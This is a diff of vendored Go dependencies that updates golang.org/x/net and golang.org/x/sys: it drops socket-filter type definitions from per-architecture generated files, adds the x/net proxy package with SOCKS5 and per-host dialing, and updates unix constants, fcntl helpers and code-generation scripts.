sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet6 = 0x1c
sizeofInet6Pktinfo = 0x14
@ -98,8 +95,6 @@ const (
sizeofGroupSourceReq = 0x108
sizeofICMPv6Filter = 0x20
sizeofSockFprog = 0x10
)
type kernelSockaddrStorage struct {
@ -157,16 +152,3 @@ type groupSourceReq struct {
type icmpv6Filter struct {
Data [8]uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -84,9 +84,6 @@ const (
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
sysICMPV6_FILTER_PASSONLY = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet6 = 0x1c
sizeofInet6Pktinfo = 0x14
@ -98,8 +95,6 @@ const (
sizeofGroupSourceReq = 0x104
sizeofICMPv6Filter = 0x20
sizeofSockFprog = 0x8
)
type kernelSockaddrStorage struct {
@ -155,16 +150,3 @@ type groupSourceReq struct {
type icmpv6Filter struct {
Data [8]uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [2]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -84,9 +84,6 @@ const (
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
sysICMPV6_FILTER_PASSONLY = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet6 = 0x1c
sizeofInet6Pktinfo = 0x14
@ -98,8 +95,6 @@ const (
sizeofGroupSourceReq = 0x108
sizeofICMPv6Filter = 0x20
sizeofSockFprog = 0x10
)
type kernelSockaddrStorage struct {
@ -157,16 +152,3 @@ type groupSourceReq struct {
type icmpv6Filter struct {
Data [8]uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -84,9 +84,6 @@ const (
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
sysICMPV6_FILTER_PASSONLY = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet6 = 0x1c
sizeofInet6Pktinfo = 0x14
@ -98,8 +95,6 @@ const (
sizeofGroupSourceReq = 0x108
sizeofICMPv6Filter = 0x20
sizeofSockFprog = 0x10
)
type kernelSockaddrStorage struct {
@ -157,16 +152,3 @@ type groupSourceReq struct {
type icmpv6Filter struct {
Data [8]uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -84,9 +84,6 @@ const (
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
sysICMPV6_FILTER_PASSONLY = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet6 = 0x1c
sizeofInet6Pktinfo = 0x14
@ -98,8 +95,6 @@ const (
sizeofGroupSourceReq = 0x104
sizeofICMPv6Filter = 0x20
sizeofSockFprog = 0x8
)
type kernelSockaddrStorage struct {
@ -155,16 +150,3 @@ type groupSourceReq struct {
type icmpv6Filter struct {
Data [8]uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [2]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -84,9 +84,6 @@ const (
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
sysICMPV6_FILTER_PASSONLY = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet6 = 0x1c
sizeofInet6Pktinfo = 0x14
@ -98,8 +95,6 @@ const (
sizeofGroupSourceReq = 0x104
sizeofICMPv6Filter = 0x20
sizeofSockFprog = 0x8
)
type kernelSockaddrStorage struct {
@ -155,16 +150,3 @@ type groupSourceReq struct {
type icmpv6Filter struct {
Data [8]uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [2]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -84,9 +84,6 @@ const (
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
sysICMPV6_FILTER_PASSONLY = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet6 = 0x1c
sizeofInet6Pktinfo = 0x14
@ -98,8 +95,6 @@ const (
sizeofGroupSourceReq = 0x108
sizeofICMPv6Filter = 0x20
sizeofSockFprog = 0x10
)
type kernelSockaddrStorage struct {
@ -157,16 +152,3 @@ type groupSourceReq struct {
type icmpv6Filter struct {
Data [8]uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -84,9 +84,6 @@ const (
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
sysICMPV6_FILTER_PASSONLY = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet6 = 0x1c
sizeofInet6Pktinfo = 0x14
@ -98,8 +95,6 @@ const (
sizeofGroupSourceReq = 0x108
sizeofICMPv6Filter = 0x20
sizeofSockFprog = 0x10
)
type kernelSockaddrStorage struct {
@ -157,16 +152,3 @@ type groupSourceReq struct {
type icmpv6Filter struct {
Data [8]uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -86,9 +86,6 @@ const (
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
sysICMPV6_FILTER_PASSONLY = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet6 = 0x1c
sizeofInet6Pktinfo = 0x14
@ -100,8 +97,6 @@ const (
sizeofGroupSourceReq = 0x108
sizeofICMPv6Filter = 0x20
sizeofSockFprog = 0x10
)
type kernelSockaddrStorage struct {
@ -159,15 +154,3 @@ type groupSourceReq struct {
type icmpv6Filter struct {
Data [8]uint32
}
type sockFProg struct {
Len uint16
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

View File

@ -84,9 +84,6 @@ const (
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
sysICMPV6_FILTER_PASSONLY = 0x4
sysSOL_SOCKET = 0x1
sysSO_ATTACH_FILTER = 0x1a
sizeofKernelSockaddrStorage = 0x80
sizeofSockaddrInet6 = 0x1c
sizeofInet6Pktinfo = 0x14
@ -98,8 +95,6 @@ const (
sizeofGroupSourceReq = 0x108
sizeofICMPv6Filter = 0x20
sizeofSockFprog = 0x10
)
type kernelSockaddrStorage struct {
@ -157,16 +152,3 @@ type groupSourceReq struct {
type icmpv6Filter struct {
Data [8]uint32
}
type sockFProg struct {
Len uint16
Pad_cgo_0 [6]byte
Filter *sockFilter
}
type sockFilter struct {
Code uint16
Jt uint8
Jf uint8
K uint32
}

54
vendor/golang.org/x/net/proxy/dial.go generated vendored Normal file
View File

@ -0,0 +1,54 @@
// Copyright 2019 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package proxy
import (
"context"
"net"
)
// A ContextDialer dials using a context.
type ContextDialer interface {
DialContext(ctx context.Context, network, address string) (net.Conn, error)
}
// Dial works like DialContext on net.Dialer but using a dialer returned by FromEnvironment.
//
// The passed ctx is only used for returning the Conn, not the lifetime of the Conn.
//
// Custom dialers (registered via RegisterDialerType) that do not implement ContextDialer
// can leak a goroutine for as long as it takes the underlying Dialer implementation to timeout.
//
// A Conn returned from a successful Dial after the context has been cancelled will be immediately closed.
func Dial(ctx context.Context, network, address string) (net.Conn, error) {
d := FromEnvironment()
if xd, ok := d.(ContextDialer); ok {
return xd.DialContext(ctx, network, address)
}
return dialContext(ctx, d, network, address)
}
// WARNING: this can leak a goroutine for as long as the underlying Dialer implementation takes to timeout
// A Conn returned from a successful Dial after the context has been cancelled will be immediately closed.
func dialContext(ctx context.Context, d Dialer, network, address string) (net.Conn, error) {
var (
conn net.Conn
done = make(chan struct{}, 1)
err error
)
go func() {
conn, err = d.Dial(network, address)
close(done)
if conn != nil && ctx.Err() != nil {
conn.Close()
}
}()
select {
case <-ctx.Done():
err = ctx.Err()
case <-done:
}
return conn, err
}

31
vendor/golang.org/x/net/proxy/direct.go generated vendored Normal file
View File

@ -0,0 +1,31 @@
// Copyright 2011 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package proxy
import (
"context"
"net"
)
type direct struct{}
// Direct implements Dialer by making network connections directly using net.Dial or net.DialContext.
var Direct = direct{}
var (
_ Dialer = Direct
_ ContextDialer = Direct
)
// Dial directly invokes net.Dial with the supplied parameters.
func (direct) Dial(network, addr string) (net.Conn, error) {
return net.Dial(network, addr)
}
// DialContext instantiates a net.Dialer and invokes its DialContext receiver with the supplied parameters.
func (direct) DialContext(ctx context.Context, network, addr string) (net.Conn, error) {
var d net.Dialer
return d.DialContext(ctx, network, addr)
}

155
vendor/golang.org/x/net/proxy/per_host.go generated vendored Normal file
View File

@ -0,0 +1,155 @@
// Copyright 2011 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package proxy
import (
"context"
"net"
"strings"
)
// A PerHost directs connections to a default Dialer unless the host name
// requested matches one of a number of exceptions.
type PerHost struct {
def, bypass Dialer
bypassNetworks []*net.IPNet
bypassIPs []net.IP
bypassZones []string
bypassHosts []string
}
// NewPerHost returns a PerHost Dialer that directs connections to either
// defaultDialer or bypass, depending on whether the connection matches one of
// the configured rules.
func NewPerHost(defaultDialer, bypass Dialer) *PerHost {
return &PerHost{
def: defaultDialer,
bypass: bypass,
}
}
// Dial connects to the address addr on the given network through either
// defaultDialer or bypass.
func (p *PerHost) Dial(network, addr string) (c net.Conn, err error) {
host, _, err := net.SplitHostPort(addr)
if err != nil {
return nil, err
}
return p.dialerForRequest(host).Dial(network, addr)
}
// DialContext connects to the address addr on the given network through either
// defaultDialer or bypass.
func (p *PerHost) DialContext(ctx context.Context, network, addr string) (c net.Conn, err error) {
host, _, err := net.SplitHostPort(addr)
if err != nil {
return nil, err
}
d := p.dialerForRequest(host)
if x, ok := d.(ContextDialer); ok {
return x.DialContext(ctx, network, addr)
}
return dialContext(ctx, d, network, addr)
}
func (p *PerHost) dialerForRequest(host string) Dialer {
if ip := net.ParseIP(host); ip != nil {
for _, net := range p.bypassNetworks {
if net.Contains(ip) {
return p.bypass
}
}
for _, bypassIP := range p.bypassIPs {
if bypassIP.Equal(ip) {
return p.bypass
}
}
return p.def
}
for _, zone := range p.bypassZones {
if strings.HasSuffix(host, zone) {
return p.bypass
}
if host == zone[1:] {
// For a zone ".example.com", we match "example.com"
// too.
return p.bypass
}
}
for _, bypassHost := range p.bypassHosts {
if bypassHost == host {
return p.bypass
}
}
return p.def
}
// AddFromString parses a string that contains comma-separated values
// specifying hosts that should use the bypass proxy. Each value is either an
// IP address, a CIDR range, a zone (*.example.com) or a host name
// (localhost). A best effort is made to parse the string and errors are
// ignored.
func (p *PerHost) AddFromString(s string) {
hosts := strings.Split(s, ",")
for _, host := range hosts {
host = strings.TrimSpace(host)
if len(host) == 0 {
continue
}
if strings.Contains(host, "/") {
// We assume that it's a CIDR address like 127.0.0.0/8
if _, net, err := net.ParseCIDR(host); err == nil {
p.AddNetwork(net)
}
continue
}
if ip := net.ParseIP(host); ip != nil {
p.AddIP(ip)
continue
}
if strings.HasPrefix(host, "*.") {
p.AddZone(host[1:])
continue
}
p.AddHost(host)
}
}
// AddIP specifies an IP address that will use the bypass proxy. Note that
// this will only take effect if a literal IP address is dialed. A connection
// to a named host will never match an IP.
func (p *PerHost) AddIP(ip net.IP) {
p.bypassIPs = append(p.bypassIPs, ip)
}
// AddNetwork specifies an IP range that will use the bypass proxy. Note that
// this will only take effect if a literal IP address is dialed. A connection
// to a named host will never match.
func (p *PerHost) AddNetwork(net *net.IPNet) {
p.bypassNetworks = append(p.bypassNetworks, net)
}
// AddZone specifies a DNS suffix that will use the bypass proxy. A zone of
// "example.com" matches "example.com" and all of its subdomains.
func (p *PerHost) AddZone(zone string) {
if strings.HasSuffix(zone, ".") {
zone = zone[:len(zone)-1]
}
if !strings.HasPrefix(zone, ".") {
zone = "." + zone
}
p.bypassZones = append(p.bypassZones, zone)
}
// AddHost specifies a host name that will use the bypass proxy.
func (p *PerHost) AddHost(host string) {
if strings.HasSuffix(host, ".") {
host = host[:len(host)-1]
}
p.bypassHosts = append(p.bypassHosts, host)
}

149
vendor/golang.org/x/net/proxy/proxy.go generated vendored Normal file
View File

@ -0,0 +1,149 @@
// Copyright 2011 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package proxy provides support for a variety of protocols to proxy network
// data.
package proxy // import "golang.org/x/net/proxy"
import (
"errors"
"net"
"net/url"
"os"
"sync"
)
// A Dialer is a means to establish a connection.
// Custom dialers should also implement ContextDialer.
type Dialer interface {
// Dial connects to the given address via the proxy.
Dial(network, addr string) (c net.Conn, err error)
}
// Auth contains authentication parameters that specific Dialers may require.
type Auth struct {
User, Password string
}
// FromEnvironment returns the dialer specified by the proxy-related
// variables in the environment and makes underlying connections
// directly.
func FromEnvironment() Dialer {
return FromEnvironmentUsing(Direct)
}
// FromEnvironmentUsing returns the dialer specify by the proxy-related
// variables in the environment and makes underlying connections
// using the provided forwarding Dialer (for instance, a *net.Dialer
// with desired configuration).
func FromEnvironmentUsing(forward Dialer) Dialer {
allProxy := allProxyEnv.Get()
if len(allProxy) == 0 {
return forward
}
proxyURL, err := url.Parse(allProxy)
if err != nil {
return forward
}
proxy, err := FromURL(proxyURL, forward)
if err != nil {
return forward
}
noProxy := noProxyEnv.Get()
if len(noProxy) == 0 {
return proxy
}
perHost := NewPerHost(proxy, forward)
perHost.AddFromString(noProxy)
return perHost
}
// proxySchemes is a map from URL schemes to a function that creates a Dialer
// from a URL with such a scheme.
var proxySchemes map[string]func(*url.URL, Dialer) (Dialer, error)
// RegisterDialerType takes a URL scheme and a function to generate Dialers from
// a URL with that scheme and a forwarding Dialer. Registered schemes are used
// by FromURL.
func RegisterDialerType(scheme string, f func(*url.URL, Dialer) (Dialer, error)) {
if proxySchemes == nil {
proxySchemes = make(map[string]func(*url.URL, Dialer) (Dialer, error))
}
proxySchemes[scheme] = f
}
// FromURL returns a Dialer given a URL specification and an underlying
// Dialer for it to make network requests.
func FromURL(u *url.URL, forward Dialer) (Dialer, error) {
var auth *Auth
if u.User != nil {
auth = new(Auth)
auth.User = u.User.Username()
if p, ok := u.User.Password(); ok {
auth.Password = p
}
}
switch u.Scheme {
case "socks5", "socks5h":
addr := u.Hostname()
port := u.Port()
if port == "" {
port = "1080"
}
return SOCKS5("tcp", net.JoinHostPort(addr, port), auth, forward)
}
// If the scheme doesn't match any of the built-in schemes, see if it
// was registered by another package.
if proxySchemes != nil {
if f, ok := proxySchemes[u.Scheme]; ok {
return f(u, forward)
}
}
return nil, errors.New("proxy: unknown scheme: " + u.Scheme)
}
var (
allProxyEnv = &envOnce{
names: []string{"ALL_PROXY", "all_proxy"},
}
noProxyEnv = &envOnce{
names: []string{"NO_PROXY", "no_proxy"},
}
)
// envOnce looks up an environment variable (optionally by multiple
// names) once. It mitigates expensive lookups on some platforms
// (e.g. Windows).
// (Borrowed from net/http/transport.go)
type envOnce struct {
names []string
once sync.Once
val string
}
func (e *envOnce) Get() string {
e.once.Do(e.init)
return e.val
}
func (e *envOnce) init() {
for _, n := range e.names {
e.val = os.Getenv(n)
if e.val != "" {
return
}
}
}
// reset is used by tests
func (e *envOnce) reset() {
e.once = sync.Once{}
e.val = ""
}

42
vendor/golang.org/x/net/proxy/socks5.go generated vendored Normal file
View File

@ -0,0 +1,42 @@
// Copyright 2011 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package proxy
import (
"context"
"net"
"golang.org/x/net/internal/socks"
)
// SOCKS5 returns a Dialer that makes SOCKSv5 connections to the given
// address with an optional username and password.
// See RFC 1928 and RFC 1929.
func SOCKS5(network, address string, auth *Auth, forward Dialer) (Dialer, error) {
d := socks.NewDialer(network, address)
if forward != nil {
if f, ok := forward.(ContextDialer); ok {
d.ProxyDial = func(ctx context.Context, network string, address string) (net.Conn, error) {
return f.DialContext(ctx, network, address)
}
} else {
d.ProxyDial = func(ctx context.Context, network string, address string) (net.Conn, error) {
return dialContext(ctx, forward, network, address)
}
}
}
if auth != nil {
up := socks.UsernamePassword{
Username: auth.User,
Password: auth.Password,
}
d.AuthMethods = []socks.AuthMethod{
socks.AuthMethodNotRequired,
socks.AuthMethodUsernamePassword,
}
d.Authenticate = up.Authenticate
}
return d, nil
}

View File

@ -149,6 +149,17 @@ To add a constant, add the header that includes it to the appropriate variable.
Then, edit the regex (if necessary) to match the desired constant. Avoid making
the regex too broad to avoid matching unintended constants.
### mkmerge.go
This program is used to extract duplicate const, func, and type declarations
from the generated architecture-specific files listed below, and merge these
into a common file for each OS.
The merge is performed in the following steps:
1. Construct the set of common code that is idential in all architecture-specific files.
2. Write this common code to the merged file.
3. Remove the common code from all architecture-specific files.
## Generated files

View File

@ -23,10 +23,6 @@ TEXT ·SyscallNoError(SB),NOSPLIT,$0-48
MOV a1+8(FP), A0
MOV a2+16(FP), A1
MOV a3+24(FP), A2
MOV $0, A3
MOV $0, A4
MOV $0, A5
MOV $0, A6
MOV trap+0(FP), A7 // syscall entry
ECALL
MOV A0, r1+32(FP) // r1
@ -44,9 +40,6 @@ TEXT ·RawSyscallNoError(SB),NOSPLIT,$0-48
MOV a1+8(FP), A0
MOV a2+16(FP), A1
MOV a3+24(FP), A2
MOV ZERO, A3
MOV ZERO, A4
MOV ZERO, A5
MOV trap+0(FP), A7 // syscall entry
ECALL
MOV A0, r1+32(FP)

View File

@ -23,6 +23,7 @@ const (
HCI_CHANNEL_USER = 1
HCI_CHANNEL_MONITOR = 2
HCI_CHANNEL_CONTROL = 3
HCI_CHANNEL_LOGGING = 4
)
// Socketoption Level

View File

@ -8,6 +8,7 @@
package unix
const (
DLT_HHDLC = 0x79
IFF_SMART = 0x20
IFT_1822 = 0x2
IFT_A12MPPSWITCH = 0x82
@ -210,13 +211,18 @@ const (
IFT_XETHER = 0x1a
IPPROTO_MAXID = 0x34
IPV6_FAITH = 0x1d
IPV6_MIN_MEMBERSHIPS = 0x1f
IP_FAITH = 0x16
IP_MAX_SOURCE_FILTER = 0x400
IP_MIN_MEMBERSHIPS = 0x1f
MAP_NORESERVE = 0x40
MAP_RENAME = 0x20
NET_RT_MAXID = 0x6
RTF_PRCLONING = 0x10000
RTM_OLDADD = 0x9
RTM_OLDDEL = 0xa
RT_CACHING_CONTEXT = 0x1
RT_NORTREF = 0x2
SIOCADDRT = 0x8030720a
SIOCALIFADDR = 0x8118691b
SIOCDELRT = 0x8030720b

View File

@ -8,6 +8,7 @@
package unix
const (
DLT_HHDLC = 0x79
IFF_SMART = 0x20
IFT_1822 = 0x2
IFT_A12MPPSWITCH = 0x82
@ -210,13 +211,18 @@ const (
IFT_XETHER = 0x1a
IPPROTO_MAXID = 0x34
IPV6_FAITH = 0x1d
IPV6_MIN_MEMBERSHIPS = 0x1f
IP_FAITH = 0x16
IP_MAX_SOURCE_FILTER = 0x400
IP_MIN_MEMBERSHIPS = 0x1f
MAP_NORESERVE = 0x40
MAP_RENAME = 0x20
NET_RT_MAXID = 0x6
RTF_PRCLONING = 0x10000
RTM_OLDADD = 0x9
RTM_OLDDEL = 0xa
RT_CACHING_CONTEXT = 0x1
RT_NORTREF = 0x2
SIOCADDRT = 0x8040720a
SIOCALIFADDR = 0x8118691b
SIOCDELRT = 0x8040720b

17
vendor/golang.org/x/sys/unix/errors_freebsd_arm64.go generated vendored Normal file
View File

@ -0,0 +1,17 @@
// Copyright 2020 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Constants that were deprecated or moved to enums in the FreeBSD headers. Keep
// them here for backwards compatibility.
package unix
const (
DLT_HHDLC = 0x79
IPV6_MIN_MEMBERSHIPS = 0x1f
IP_MAX_SOURCE_FILTER = 0x400
IP_MIN_MEMBERSHIPS = 0x1f
RT_CACHING_CONTEXT = 0x1
RT_NORTREF = 0x2
)

View File

@ -9,12 +9,11 @@ package unix
import "unsafe"
// fcntl64Syscall is usually SYS_FCNTL, but is overridden on 32-bit Linux
// systems by flock_linux_32bit.go to be SYS_FCNTL64.
// systems by fcntl_linux_32bit.go to be SYS_FCNTL64.
var fcntl64Syscall uintptr = SYS_FCNTL
// FcntlInt performs a fcntl syscall on fd with the provided command and argument.
func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
valptr, _, errno := Syscall(fcntl64Syscall, fd, uintptr(cmd), uintptr(arg))
func fcntl(fd int, cmd, arg int) (int, error) {
valptr, _, errno := Syscall(fcntl64Syscall, uintptr(fd), uintptr(cmd), uintptr(arg))
var err error
if errno != 0 {
err = errno
@ -22,6 +21,11 @@ func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
return int(valptr), err
}
// FcntlInt performs a fcntl syscall on fd with the provided command and argument.
func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
return fcntl(int(fd), cmd, arg)
}
// FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command.
func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error {
_, _, errno := Syscall(fcntl64Syscall, fd, uintptr(cmd), uintptr(unsafe.Pointer(lk)))

29
vendor/golang.org/x/sys/unix/fdset.go generated vendored Normal file
View File

@ -0,0 +1,29 @@
// Copyright 2019 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
package unix
// Set adds fd to the set fds.
func (fds *FdSet) Set(fd int) {
fds.Bits[fd/NFDBITS] |= (1 << (uintptr(fd) % NFDBITS))
}
// Clear removes fd from the set fds.
func (fds *FdSet) Clear(fd int) {
fds.Bits[fd/NFDBITS] &^= (1 << (uintptr(fd) % NFDBITS))
}
// IsSet returns whether fd is in the set fds.
func (fds *FdSet) IsSet(fd int) bool {
return fds.Bits[fd/NFDBITS]&(1<<(uintptr(fd)%NFDBITS)) != 0
}
// Zero clears the set fds.
func (fds *FdSet) Zero() {
for i := range fds.Bits {
fds.Bits[i] = 0
}
}

View File

@ -50,7 +50,7 @@ if [[ "$GOOS" = "linux" ]]; then
# Use the Docker-based build system
# Files generated through docker (use $cmd so you can Ctl-C the build or run)
$cmd docker build --tag generate:$GOOS $GOOS
$cmd docker run --interactive --tty --volume $(dirname "$(readlink -f "$0")"):/build generate:$GOOS
$cmd docker run --interactive --tty --volume $(cd -- "$(dirname -- "$0")" && /bin/pwd):/build generate:$GOOS
exit
fi
@ -124,7 +124,7 @@ freebsd_arm)
freebsd_arm64)
mkerrors="$mkerrors -m64"
mksysnum="go run mksysnum.go 'https://svn.freebsd.org/base/stable/11/sys/kern/syscalls.master'"
mktypes="GOARCH=$GOARCH go tool cgo -godefs"
mktypes="GOARCH=$GOARCH go tool cgo -godefs -- -fsigned-char"
;;
netbsd_386)
mkerrors="$mkerrors -m32"
@ -190,6 +190,12 @@ solaris_amd64)
mksysnum=
mktypes="GOARCH=$GOARCH go tool cgo -godefs"
;;
illumos_amd64)
mksyscall="go run mksyscall_solaris.go"
mkerrors=
mksysnum=
mktypes=
;;
*)
echo 'unrecognized $GOOS_$GOARCH: ' "$GOOSARCH" 1>&2
exit 1
@ -212,9 +218,16 @@ esac
echo "$mksyscall -tags $GOOS,$GOARCH $syscall_goos $GOOSARCH_in && gofmt -w zsyscall_$GOOSARCH.go && gofmt -w zsyscall_"$GOOSARCH"_gccgo.go && gofmt -w zsyscall_"$GOOSARCH"_gc.go " ;
elif [ "$GOOS" == "darwin" ]; then
# pre-1.12, direct syscalls
echo "$mksyscall -tags $GOOS,$GOARCH,!go1.12 $syscall_goos $GOOSARCH_in |gofmt >zsyscall_$GOOSARCH.1_11.go";
echo "$mksyscall -tags $GOOS,$GOARCH,!go1.12 $syscall_goos syscall_darwin_${GOARCH}.1_11.go $GOOSARCH_in |gofmt >zsyscall_$GOOSARCH.1_11.go";
# 1.12 and later, syscalls via libSystem
echo "$mksyscall -tags $GOOS,$GOARCH,go1.12 $syscall_goos $GOOSARCH_in |gofmt >zsyscall_$GOOSARCH.go";
# 1.13 and later, syscalls via libSystem (including syscallPtr)
echo "$mksyscall -tags $GOOS,$GOARCH,go1.13 syscall_darwin.1_13.go |gofmt >zsyscall_$GOOSARCH.1_13.go";
elif [ "$GOOS" == "illumos" ]; then
# illumos code generation requires a --illumos switch
echo "$mksyscall -illumos -tags illumos,$GOARCH syscall_illumos.go |gofmt > zsyscall_illumos_$GOARCH.go";
# illumos implies solaris, so solaris code generation is also required
echo "$mksyscall -tags solaris,$GOARCH syscall_solaris.go syscall_solaris_$GOARCH.go |gofmt >zsyscall_solaris_$GOARCH.go";
else
echo "$mksyscall -tags $GOOS,$GOARCH $syscall_goos $GOOSARCH_in |gofmt >zsyscall_$GOOSARCH.go";
fi

View File

@ -17,6 +17,34 @@ import (
"strings"
)
func writeASMFile(in string, fileName string, buildTags string) {
trampolines := map[string]bool{}
var out bytes.Buffer
fmt.Fprintf(&out, "// go run mkasm_darwin.go %s\n", strings.Join(os.Args[1:], " "))
fmt.Fprintf(&out, "// Code generated by the command above; DO NOT EDIT.\n")
fmt.Fprintf(&out, "\n")
fmt.Fprintf(&out, "// +build %s\n", buildTags)
fmt.Fprintf(&out, "\n")
fmt.Fprintf(&out, "#include \"textflag.h\"\n")
for _, line := range strings.Split(in, "\n") {
if !strings.HasPrefix(line, "func ") || !strings.HasSuffix(line, "_trampoline()") {
continue
}
fn := line[5 : len(line)-13]
if !trampolines[fn] {
trampolines[fn] = true
fmt.Fprintf(&out, "TEXT ·%s_trampoline(SB),NOSPLIT,$0-0\n", fn)
fmt.Fprintf(&out, "\tJMP\t%s(SB)\n", fn)
}
}
err := ioutil.WriteFile(fileName, out.Bytes(), 0644)
if err != nil {
log.Fatalf("can't write %s: %s", fileName, err)
}
}
func main() {
in1, err := ioutil.ReadFile("syscall_darwin.go")
if err != nil {
@ -33,29 +61,18 @@ func main() {
}
in := string(in1) + string(in2) + string(in3)
trampolines := map[string]bool{}
writeASMFile(in, fmt.Sprintf("zsyscall_darwin_%s.s", arch), "go1.12")
var out bytes.Buffer
fmt.Fprintf(&out, "// go run mkasm_darwin.go %s\n", strings.Join(os.Args[1:], " "))
fmt.Fprintf(&out, "// Code generated by the command above; DO NOT EDIT.\n")
fmt.Fprintf(&out, "\n")
fmt.Fprintf(&out, "// +build go1.12\n")
fmt.Fprintf(&out, "\n")
fmt.Fprintf(&out, "#include \"textflag.h\"\n")
for _, line := range strings.Split(in, "\n") {
if !strings.HasPrefix(line, "func ") || !strings.HasSuffix(line, "_trampoline()") {
continue
}
fn := line[5 : len(line)-13]
if !trampolines[fn] {
trampolines[fn] = true
fmt.Fprintf(&out, "TEXT ·%s_trampoline(SB),NOSPLIT,$0-0\n", fn)
fmt.Fprintf(&out, "\tJMP\t%s(SB)\n", fn)
}
}
err = ioutil.WriteFile(fmt.Sprintf("zsyscall_darwin_%s.s", arch), out.Bytes(), 0644)
in1, err = ioutil.ReadFile("syscall_darwin.1_13.go")
if err != nil {
log.Fatalf("can't write zsyscall_darwin_%s.s: %s", arch, err)
log.Fatalf("can't open syscall_darwin.1_13.go: %s", err)
}
in2, err = ioutil.ReadFile(fmt.Sprintf("zsyscall_darwin_%s.1_13.go", arch))
if err != nil {
log.Fatalf("can't open zsyscall_darwin_%s.1_13.go: %s", arch, err)
}
in = string(in1) + string(in2)
writeASMFile(in, fmt.Sprintf("zsyscall_darwin_%s.1_13.s", arch), "go1.13")
}

View File

@ -44,6 +44,7 @@ includes_AIX='
#include <sys/stropts.h>
#include <sys/mman.h>
#include <sys/poll.h>
#include <sys/select.h>
#include <sys/termio.h>
#include <termios.h>
#include <fcntl.h>
@ -104,6 +105,7 @@ includes_FreeBSD='
#include <sys/capsicum.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/disk.h>
#include <sys/event.h>
#include <sys/select.h>
#include <sys/socket.h>
@ -185,16 +187,19 @@ struct ltchars {
#include <sys/select.h>
#include <sys/signalfd.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/xattr.h>
#include <linux/bpf.h>
#include <linux/can.h>
#include <linux/capability.h>
#include <linux/cryptouser.h>
#include <linux/devlink.h>
#include <linux/errqueue.h>
#include <linux/falloc.h>
#include <linux/fanotify.h>
#include <linux/filter.h>
#include <linux/fs.h>
#include <linux/fscrypt.h>
#include <linux/genetlink.h>
#include <linux/hdreg.h>
#include <linux/icmpv6.h>
@ -276,6 +281,11 @@ struct ltchars {
// for the tipc_subscr timeout __u32 field.
#undef TIPC_WAIT_FOREVER
#define TIPC_WAIT_FOREVER 0xffffffff
// Copied from linux/l2tp.h
// Including linux/l2tp.h here causes conflicts between linux/in.h
